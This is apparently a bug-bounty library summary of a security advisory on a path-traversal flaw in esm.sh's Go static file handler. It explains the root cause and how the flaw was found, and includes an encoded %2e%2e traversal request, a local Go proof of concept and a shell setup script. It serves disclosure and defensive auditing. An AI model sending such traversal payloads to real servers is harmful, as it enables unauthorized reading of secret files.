# esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal

esm.sh web.NewHandler joins r.URL.Path with AppDir without containment check, so encoded %2e%2e dot-segments bypass ServeMux redirect and read arbitrary files outside AppDir.

- Payout: Research
- Severity: high
- Program: esm.sh
- Found by: sondt99
- Disclosed: 2026-11-09
- CVE: CVE-2026-102657
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g3c2-rjq2-c763
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g3c2-rjq2-c763
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:go technique:parser-differential technique:source-review vuln:path-traversal

**Target:** Go static file HTTP handler (web.NewHandler)
**Root cause:** Handler calls filepath.Join(Config.AppDir, r.URL.Path) with no filepath.IsLocal or root-prefix containment check; Go's ServeMux only redirects plain /../ but passes URL-decoded encoded dot-segments to the handler.
**Steps:**
1. Register handler as documented: `mux.Handle("GET /", web.NewHandler(web.Config{AppDir: appDir, Dev: false}))`
2. Place a secret file in an ancestor directory of AppDir
3. Request `GET /%2e%2e/%2e%2e/%2e%2e/secret.txt`
4. Observe 200 with secret contents; control `GET /secret.txt` returns in-app index instead
**How found:** Noted ServeMux redirects plain /../ but encoded dot-segments reach the handler after decoding; traced r.URL.Path into filepath.Join and os.Open, then confirmed with a control request showing plain /secret.txt stays in-app while encoded traversal escapes.
**Exploitation:** Unauthenticated attacker sends HTTP GET with URL-encoded dot-segments (%2e%2e) in the path; net/http decodes into r.URL.Path as /../..., ServeMux does not redirect encoded form, handler joins with AppDir and os.Open/io.Copy returns the file outside the app root.
**Insight:** When auditing Go static file handlers, test URL-encoded dot-segments (%2e%2e) specifically: ServeMux's built-in redirect only catches literal /../, so any handler doing filepath.Join(root, r.URL.Path) without filepath.IsLocal is escapable via the encoded form.

## Proof of concept (copied exactly from the original report)

**Go PoC requesting sibling secret via encoded dot-segments**

```
package main

import (
    "fmt"
    "net/http"
    "net/http/httptest"
    "os"
    "strings"

    "github.com/esm-dev/esm.sh/web"
)

func main() {
    mux := http.NewServeMux()
    mux.Handle("GET /", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false}))
    for _, target := range []string{
        "http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt",
        "http://example/secret.txt",
    } {
        rr := httptest.NewRecorder()
        req := httptest.NewRequest("GET", target, nil)
        mux.ServeHTTP(rr, req)
        fmt.Printf("%s => status=%d location=%q contains_secret=%v body=%q\n",
            target,
            rr.Code,
            rr.Header().Get("Location"),
            strings.Contains(rr.Body.String(), "ancestor-secret-marker"),
            rr.Body.String(),
        )
    }
}
```

**Shell recipe creating app dir and secret file**

```
tmp=$(mktemp -d)
mkdir -p "$tmp/root/a/b/app"
printf 'ancestor-secret-marker' > "$tmp/root/secret.txt"
printf '<h1>inside</h1>' > "$tmp/root/a/b/app/index.html"
cat > "$tmp/poc.go" <<'EOF'
[place the PoC above here]
EOF
go run "$tmp/poc.go" "$tmp/root/a/b/app"
rm -rf "$tmp"
```

